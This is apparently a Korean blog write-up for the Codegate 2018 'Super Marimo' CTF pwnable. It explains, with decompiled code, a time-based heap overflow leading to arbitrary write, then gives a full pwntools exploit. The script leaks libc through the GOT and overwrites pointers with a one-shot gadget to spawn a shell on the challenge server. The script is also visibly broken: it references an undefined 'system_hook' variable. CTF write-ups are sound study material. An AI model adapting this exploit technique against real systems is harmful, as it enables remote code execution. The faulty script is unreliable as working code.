y0u_bat
Codegate2018 - Super Marimo 본문
간단한 힙오버플로우 취약점 입니다.익스 코드 정리 안되어있는건 양해 부탁드립니당!
Mitigation
ihaechan@ubuntu:~/Desktop$ ./pwnable/checksec.sh --file ./marimo
RELRO STACK CANARY NX PIE RPATH RUNPATH FILE
Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH ./marimo
ihaechan@ubuntu:~/Desktop$
Vulnerability
_BYTE *__fastcall sub_400EED(__int64 a1, unsigned int a2, unsigned int a3)
{
unsigned __int64 v3; // ST00_8
int v4; // ST04_4
v3 = __PAIR__(a2, a3);
*a1 = time(0LL);
*(a1 + 4) = a2;
*(a1 + 8) = malloc(0x10uLL);
puts("What's your new marimo's name? (0x10)");
printf(">> ", v3);
fflush(stdout);
__isoc99_scanf("%16s", *(a1 + 8));
*(a1 + 16) = malloc(0x20 * v4); // alloc
printf("write %s's profile. (0x%X)\n", *(a1 + 8), (32 * v4));
fflush(stdout);
printf(">> ");
fflush(stdout);
return write_400FF9(*(a1 + 16), 0x20 * v4); // write
}
show me the marimo를 입력하면 저렇게 할당하고 write 함수로 거기에 입력을 합니다.
unsigned __int64 __fastcall sub_400BD2(unsigned int *a1)
{
unsigned int c_time; // ST18_4
unsigned int v3; // [rsp+1Ch] [rbp-24h]
char v4; // [rsp+20h] [rbp-20h]
unsigned __int64 v5; // [rsp+38h] [rbp-8h]
v5 = __readfsqword(0x28u);
puts(&byte_4014F4);
printf("birth : %d\n", *a1);
c_time = time(0LL);
printf("current time : %d\n", c_time);
v3 = c_time + a1[1] - *a1; // c_time + 1 - p_time
printf("size : %d\n", v3);
printf("price : %d\n", 5 * v3);
printf("name : %s\n", *(a1 + 1));
printf("profile : %s\n", *(a1 + 2));
puts(&byte_4014F4);
puts("[M]odify / [B]ack ?");
printf(">> ");
fflush(stdout);
__isoc99_scanf("%19s", &v4);
if ( v4 == 77 )
{
puts("Give me new profile");
printf(">> ", &v4);
fflush(stdout);
write_400FF9(*(a1 + 2), 32 * v3); // heap overflow
sub_400BD2(a1);
}
return __readfsqword(0x28u) ^ v5;
}
'V' 메뉴를 보면 profile을 수정 할 수 있습니다. 수정할수있는 크기는 ''현재시간+1-할당할때시간''의 크기만큼 입니다.
그러므로, 할당할때와 시간이 똑같지 않다면, heap overflow가 일어나게 됩니다.
write 하는 함수의 첫번째 인자가 *(a1+2)인데, heap overflow를 통해서 a1+2 내용을 컨트롤하여 arbitrary write 할 수 있게 됩니다. got를 one shot gadget으로 덮어서 쉘을 획득 할 수 있습니다.
Exploit
from pwn import *
#context.log_level = 'debug'
def show_me(name,profile):
s.sendline("show me the marimo")
print s.recvuntil(">>")
s.sendline(str(name))
print s.recvuntil(">>")
s.sendline(str(profile))
print s.recvuntil(">>")
def view(index,ok,new_profile,test):
libc_leak = 0
s.sendline("V")
if test == 1:
print s.recvuntil(">>")
s.sendline(str(index))
print s.recvuntil("name : ")
libc_leak = u64(s.recvuntil("\x7f")+"\x00\x00")
print s.recvuntil(">>")
s.sendline("B")
else:
print s.recvuntil(">>")
s.sendline(str(index))
print s.recvuntil(">>")
if ok == 1:
s.sendline("M")
print s.recvuntil(">>")
s.sendline(str(new_profile))
print s.recvuntil(">>")
s.sendline("B")
else:
s.sendline("B")
print s.recvuntil(">>")
return libc_leak
put_got = 0x603018
#s = process("./marimo")
s = remote("ch41l3ng3s.codegate.kr",3333)
print s.recvuntil(">>")
show_me("a"*0x10,"b"*0x20)
show_me("1"*0x10,"2"*0x20)
show_me("3"*0x10,"4"*0x20)
show_me("5"*0x10,"6"*0x20)
show_me("7"*0x10,"8"*0x20)
sleep(3)
view(0,1,"a"*0x38+p32(put_got),0)
leak = view(1,1,"a"*0x38+p32(put_got),1)
libc_base = leak-0x6f690
print "libc is " + hex(libc_base)
malloc_hook = libc_base + 0x3C4B10
system_libc = libc_base + 0xf02a4
strcmp_got = 0x603040
print "hook is " + hex(malloc_hook)
print "system is " + hex(system_hook)
view(2,1,"a"*0x38+p64(malloc_hook) + p64(malloc_hook) ,0)
view(3,1,p64(system_libc),0)
s.sendline("show me the marimo")
s.interactive()
'System > [CTF]' 카테고리의 다른 글
[XCTF] - once writeup (0) | 2018.04.12 |
---|---|
Codegate2018 - BaskinRobins31 (0) | 2018.02.10 |
Codegaet2018 - Melong (0) | 2018.02.10 |
[DEFCON 2017] mute (0) | 2017.05.08 |
[DEFCON 2017] Smashme (0) | 2017.05.07 |
Comments